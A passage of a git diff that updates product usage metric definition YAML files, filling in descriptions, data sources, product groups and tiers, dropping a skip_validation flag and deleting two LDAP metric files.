-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml b/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml
index 15f4ccda503..4b4c0b0835f 100644
--- a/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml b/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml
index 36d21424329..4cb97212de3 100644
--- a/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml b/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml
index 0b66249713b..bf8277ce740 100644
--- a/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml b/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml
index b1b91278215..bf09ee1e791 100644
--- a/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml b/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml
index bd1986796d7..3d1a01b4c92 100644
--- a/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml b/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml
index 1225d494f77..8693bbeabc2 100644
--- a/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml b/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml
index 47389011bcf..9c0b4c7404d 100644
--- a/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml b/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml
index c89c8602877..7b852f69b7f 100644
--- a/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml b/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml
index a5316c15120..33eb2139a20 100644
--- a/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml b/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml
index 982ad4dfdad..f68a0049429 100644
--- a/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml b/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml
index 2a86d74ebf3..a758fdb63e5 100644
--- a/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml b/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml
index 88d0d954780..503a76eb05a 100644
--- a/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml
+++ b/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml b/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml
index d2a5cfc062c..1b79cde456b 100644
--- a/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml
+++ b/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml b/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml
index aa362c989de..33e42e55558 100644
--- a/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml
+++ b/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml b/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml
index fb3df0de122..5866c2e8eab 100644
--- a/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml
+++ b/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180239_personal_snippets.yml b/config/metrics/counts_all/20210216180239_personal_snippets.yml
index 1578c3264f3..fa112c2ebed 100644
--- a/config/metrics/counts_all/20210216180239_personal_snippets.yml
+++ b/config/metrics/counts_all/20210216180239_personal_snippets.yml
@@ -1,6 +1,6 @@
---
key_path: counts.personal_snippets
-description: Count of Personal Snippets
+description: Count of personal Snippets
product_section: dev
product_stage: create
product_group: group::editor
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180241_project_snippets.yml b/config/metrics/counts_all/20210216180241_project_snippets.yml
index f30757e4137..d0921d1a365 100644
--- a/config/metrics/counts_all/20210216180241_project_snippets.yml
+++ b/config/metrics/counts_all/20210216180241_project_snippets.yml
@@ -1,6 +1,6 @@
---
key_path: counts.project_snippets
-description: Count of Project Snippetss
+description: Count of project Snippets
product_section: dev
product_stage: create
product_group: group::editor
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180242_web_ide_commits.yml b/config/metrics/counts_all/20210216180242_web_ide_commits.yml
index 33566cf602f..7b3953e92d3 100644
--- a/config/metrics/counts_all/20210216180242_web_ide_commits.yml
+++ b/config/metrics/counts_all/20210216180242_web_ide_commits.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_commits
-description: Count of Commits made from Web IDE
+description: Count of commits made from the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180244_web_ide_views.yml b/config/metrics/counts_all/20210216180244_web_ide_views.yml
index 5f94d706cdd..d6b8c0b4626 100644
--- a/config/metrics/counts_all/20210216180244_web_ide_views.yml
+++ b/config/metrics/counts_all/20210216180244_web_ide_views.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_views
-description: Count of Views of the Web IDE
+description: Count of views of the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml b/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
index d8ab29b3ef5..6361f63ac81 100644
--- a/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
+++ b/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_merge_requests
-description: Count of merge requests created from Web IDE
+description: Count of merge requests created from the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180248_web_ide_previews.yml b/config/metrics/counts_all/20210216180248_web_ide_previews.yml
index 854fe84155e..bd8cc0ea829 100644
--- a/config/metrics/counts_all/20210216180248_web_ide_previews.yml
+++ b/config/metrics/counts_all/20210216180248_web_ide_previews.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_previews
-description: Count of Live Preview tab views in Web IDE
+description: Count of Live Preview tab views in the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180250_web_ide_terminals.yml b/config/metrics/counts_all/20210216180250_web_ide_terminals.yml
index 8860a73c262..8e92d080abe 100644
--- a/config/metrics/counts_all/20210216180250_web_ide_terminals.yml
+++ b/config/metrics/counts_all/20210216180250_web_ide_terminals.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_terminals
-description: Count of Web Terminal Tab views in Web IDE
+description: Count of Web Terminal tab views in the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml b/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml
index 229a4000fde..b4d38b2060f 100644
--- a/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml
+++ b/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_pipelines
-description: Count of Pipeline tab views in Web IDE
+description: Count of Pipeline tab views in the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180253_snippet_comment.yml b/config/metrics/counts_all/20210216180253_snippet_comment.yml
index 86353b84645..012d04f0ad0 100644
--- a/config/metrics/counts_all/20210216180253_snippet_comment.yml
+++ b/config/metrics/counts_all/20210216180253_snippet_comment.yml
@@ -8,7 +8,7 @@ product_category: snippets
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180255_snippet_create.yml b/config/metrics/counts_all/20210216180255_snippet_create.yml
index 5b527992d12..3b48c9cb4b7 100644
--- a/config/metrics/counts_all/20210216180255_snippet_create.yml
+++ b/config/metrics/counts_all/20210216180255_snippet_create.yml
@@ -8,7 +8,7 @@ product_category: snippets
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180257_snippet_update.yml b/config/metrics/counts_all/20210216180257_snippet_update.yml
index 2c909d8a9fc..993f03f3007 100644
--- a/config/metrics/counts_all/20210216180257_snippet_update.yml
+++ b/config/metrics/counts_all/20210216180257_snippet_update.yml
@@ -8,7 +8,7 @@ product_category: snippets
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180259_static_site_editor_views.yml b/config/metrics/counts_all/20210216180259_static_site_editor_views.yml
index e5836202a74..afaf4170a22 100644
--- a/config/metrics/counts_all/20210216180259_static_site_editor_views.yml
+++ b/config/metrics/counts_all/20210216180259_static_site_editor_views.yml
@@ -1,6 +1,6 @@
---
key_path: counts.static_site_editor_views
-description:
+description: Count of Static Site Editor views
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +8,7 @@ product_category: static_site_editor
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml b/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml
index 5dc21447e37..eb7deaac1bd 100644
--- a/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml
+++ b/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml
@@ -1,6 +1,6 @@
---
key_path: counts.static_site_editor_commits
-description: Count of commits created via Static Site Editor
+description: Count of commits created from the Static Site Editor
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,9 +8,11 @@ product_category: static_site_editor
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml b/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml
index 3e38b9f8f7b..8a0c28cc904 100644
--- a/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml
+++ b/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml
@@ -8,9 +8,11 @@ product_category: static_site_editor
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml b/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml
index 2223e4b2e46..0239da15609 100644
--- a/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml
+++ b/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml
@@ -1,10 +1,10 @@
---
key_path: counts.user_preferences_user_gitpod_enabled
-description: Count all users with their GitPod setting enabled
+description: Count of users with the GitPod integration enabled
product_section: dev
product_stage: create
product_group: group::editor
-product_category: editor_extension
+product_category: web_ide
value_type: number
status: data_available
time_frame: all
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180306_snippets.yml b/config/metrics/counts_all/20210216180306_snippets.yml
index 213e61e2d0f..c78d77b9e55 100644
--- a/config/metrics/counts_all/20210216180306_snippets.yml
+++ b/config/metrics/counts_all/20210216180306_snippets.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180316_snippets.yml b/config/metrics/counts_all/20210216180316_snippets.yml
index 8c829055aa0..dd31cda76b8 100644
--- a/config/metrics/counts_all/20210216180316_snippets.yml
+++ b/config/metrics/counts_all/20210216180316_snippets.yml
@@ -1,6 +1,7 @@
---
key_path: usage_activity_by_stage.create.snippets
-description: Snippets
+name: count_distinct_author_id_from_snippets
+description: Count of distinct author_id from snippets
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,7 +9,7 @@ product_category: snippets
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml b/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml
index 3fbbbdece3d..44221482c4f 100644
--- a/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml
+++ b/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml
@@ -1,6 +1,6 @@
---
key_path: counts.projects_creating_incidents
-description: Counts of Projects that have created incidents
+description: Counts of Projects that have incident issues, regardless of status.
product_section: ops
product_stage: monitor
product_group: group::health
diff --git a/config/metrics/counts_all/20210216180638_gitlab_project.yml b/config/metrics/counts_all/20210216180638_gitlab_project.yml
index a9d167f7363..624b004155d 100644
--- a/config/metrics/counts_all/20210216180638_gitlab_project.yml
+++ b/config/metrics/counts_all/20210216180638_gitlab_project.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180639_gitlab.yml b/config/metrics/counts_all/20210216180639_gitlab.yml
index 3fef2ce3b85..39a878962d2 100644
--- a/config/metrics/counts_all/20210216180639_gitlab.yml
+++ b/config/metrics/counts_all/20210216180639_gitlab.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180641_github.yml b/config/metrics/counts_all/20210216180641_github.yml
index 530e9b05e14..c7ce1a7f1b3 100644
--- a/config/metrics/counts_all/20210216180641_github.yml
+++ b/config/metrics/counts_all/20210216180641_github.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180643_bitbucket.yml b/config/metrics/counts_all/20210216180643_bitbucket.yml
index 6490c8ffb55..e05e4e526ff 100644
--- a/config/metrics/counts_all/20210216180643_bitbucket.yml
+++ b/config/metrics/counts_all/20210216180643_bitbucket.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180645_bitbucket_server.yml b/config/metrics/counts_all/20210216180645_bitbucket_server.yml
index bfbee0b3433..88f618ac228 100644
--- a/config/metrics/counts_all/20210216180645_bitbucket_server.yml
+++ b/config/metrics/counts_all/20210216180645_bitbucket_server.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180647_gitea.yml b/config/metrics/counts_all/20210216180647_gitea.yml
index 74b4fd36714..d70b478659d 100644
--- a/config/metrics/counts_all/20210216180647_gitea.yml
+++ b/config/metrics/counts_all/20210216180647_gitea.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180649_git.yml b/config/metrics/counts_all/20210216180649_git.yml
index b7dd7ca8d7e..19c19e6cc63 100644
--- a/config/metrics/counts_all/20210216180649_git.yml
+++ b/config/metrics/counts_all/20210216180649_git.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180650_manifest.yml b/config/metrics/counts_all/20210216180650_manifest.yml
index 4ef7823ee67..6c89c68b34c 100644
--- a/config/metrics/counts_all/20210216180650_manifest.yml
+++ b/config/metrics/counts_all/20210216180650_manifest.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180652_gitlab_migration.yml b/config/metrics/counts_all/20210216180652_gitlab_migration.yml
index 3df4472c9a7..d1c84d6c795 100644
--- a/config/metrics/counts_all/20210216180652_gitlab_migration.yml
+++ b/config/metrics/counts_all/20210216180652_gitlab_migration.yml
@@ -8,9 +8,11 @@ product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180734_wiki_pages_create.yml b/config/metrics/counts_all/20210216180734_wiki_pages_create.yml
index cd69803d569..90f20d71997 100644
--- a/config/metrics/counts_all/20210216180734_wiki_pages_create.yml
+++ b/config/metrics/counts_all/20210216180734_wiki_pages_create.yml
@@ -1,16 +1,18 @@
---
key_path: counts.wiki_pages_create
-description:
+description: Count of all Wiki pages created
product_section: dev
product_stage: create
-product_group: group::knowledge
+product_group: group::editor
product_category: wiki
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180736_wiki_pages_update.yml b/config/metrics/counts_all/20210216180736_wiki_pages_update.yml
index ee44817090a..ad257389f1f 100644
--- a/config/metrics/counts_all/20210216180736_wiki_pages_update.yml
+++ b/config/metrics/counts_all/20210216180736_wiki_pages_update.yml
@@ -1,16 +1,18 @@
---
key_path: counts.wiki_pages_update
-description:
+description: Count of all Wiki page updates
product_section: dev
product_stage: create
-product_group: group::knowledge
+product_group: group::editor
product_category: wiki
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml b/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml
index a7670d1578b..83379f14ba0 100644
--- a/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml
+++ b/config/metrics/counts_all/20210216180738_wiki_pages_delete.yml
@@ -1,16 +1,18 @@
---
key_path: counts.wiki_pages_delete
-description:
+description: Count of all Wiki pages deleted
product_section: dev
product_stage: create
-product_group: group::knowledge
+product_group: group::editor
product_category: wiki
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180740_design_management_designs_create.yml b/config/metrics/counts_all/20210216180740_design_management_designs_create.yml
index 1968f26c08e..bd631db3e6c 100644
--- a/config/metrics/counts_all/20210216180740_design_management_designs_create.yml
+++ b/config/metrics/counts_all/20210216180740_design_management_designs_create.yml
@@ -1,16 +1,18 @@
---
key_path: counts.design_management_designs_create
-description:
+description: Number of designs that were created
product_section: dev
-product_stage: create
-product_group: group::knowledge
+product_stage: plan
+product_group: group::product planning
product_category: design_management
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180741_design_management_designs_update.yml b/config/metrics/counts_all/20210216180741_design_management_designs_update.yml
index 087afae23ad..1a11c45f22a 100644
--- a/config/metrics/counts_all/20210216180741_design_management_designs_update.yml
+++ b/config/metrics/counts_all/20210216180741_design_management_designs_update.yml
@@ -1,16 +1,18 @@
---
key_path: counts.design_management_designs_update
-description:
+description: Number of updates to designs
product_section: dev
-product_stage: create
-product_group: group::knowledge
+product_stage: plan
+product_group: group::product planning
product_category: design_management
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml b/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml
index 874e5a60243..0cbdac33f1e 100644
--- a/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml
+++ b/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml
@@ -1,16 +1,18 @@
---
key_path: counts.design_management_designs_delete
-description:
+description: Number of designs that were deleted
product_section: dev
-product_stage: create
-product_group: group::knowledge
+product_stage: plan
+product_group: group::product planning
product_category: design_management
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180750_groups.yml b/config/metrics/counts_all/20210216180750_groups.yml
index e236c4b89a8..db2cfd470ab 100644
--- a/config/metrics/counts_all/20210216180750_groups.yml
+++ b/config/metrics/counts_all/20210216180750_groups.yml
@@ -2,8 +2,8 @@
key_path: counts.groups
description: Total count of groups as of usage ping snapshot
product_section: dev
-product_stage:
-product_group: group::manage
+product_stage: manage
+product_group: group::access
product_category: subgroups
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180752_keys.yml b/config/metrics/counts_all/20210216180752_keys.yml
index 4374ebcb9c1..03027fd8e24 100644
--- a/config/metrics/counts_all/20210216180752_keys.yml
+++ b/config/metrics/counts_all/20210216180752_keys.yml
@@ -1,9 +1,9 @@
---
key_path: counts.keys
-description:
+description: Number of keys.
product_section: dev
-product_stage:
-product_group: group::manage
+product_stage: managed
+product_group: group::access
product_category: authentication_and_authorization
value_type: number
status: data_available
@@ -11,6 +11,8 @@ time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180756_groups.yml b/config/metrics/counts_all/20210216180756_groups.yml
index e789713fc31..4a813247d21 100644
--- a/config/metrics/counts_all/20210216180756_groups.yml
+++ b/config/metrics/counts_all/20210216180756_groups.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.manage.groups
-description:
+description: Number of users who are group members.
product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
+product_stage: manage
+product_group: group::access
+product_category: subgroups
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180758_users_created.yml b/config/metrics/counts_all/20210216180758_users_created.yml
index 1e722716546..262f88e2713 100644
--- a/config/metrics/counts_all/20210216180758_users_created.yml
+++ b/config/metrics/counts_all/20210216180758_users_created.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.manage.users_created
-description:
+description: Number of users
product_section: dev
-product_stage:
-product_group: group::manage
+product_stage: manage
+product_group: group::access
product_category:
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180800_ldap_keys.yml b/config/metrics/counts_all/20210216180800_ldap_keys.yml
deleted file mode 100644
index b3c97800b9b..00000000000
--- a/config/metrics/counts_all/20210216180800_ldap_keys.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage.manage.ldap_keys
-description:
-product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180801_ldap_users.yml b/config/metrics/counts_all/20210216180801_ldap_users.yml
deleted file mode 100644
index 075189ba9b7..00000000000
--- a/config/metrics/counts_all/20210216180801_ldap_users.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage.manage.ldap_users
-description:
-product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181009_lfs_objects.yml b/config/metrics/counts_all/20210216181009_lfs_objects.yml
index fe221ae2c47..b17b029852c 100644
--- a/config/metrics/counts_all/20210216181009_lfs_objects.yml
+++ b/config/metrics/counts_all/20210216181009_lfs_objects.yml
@@ -2,8 +2,8 @@
key_path: counts.lfs_objects
description:
product_section: ops
-product_stage: package
-product_group: group::package
+product_stage: create
+product_group: group::create
product_category:
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216181011_projects_with_packages.yml b/config/metrics/counts_all/20210216181011_projects_with_packages.yml
index 2dee15b9438..8d81edaa55f 100644
--- a/config/metrics/counts_all/20210216181011_projects_with_packages.yml
+++ b/config/metrics/counts_all/20210216181011_projects_with_packages.yml
@@ -1,17 +1,18 @@
---
key_path: counts.projects_with_packages
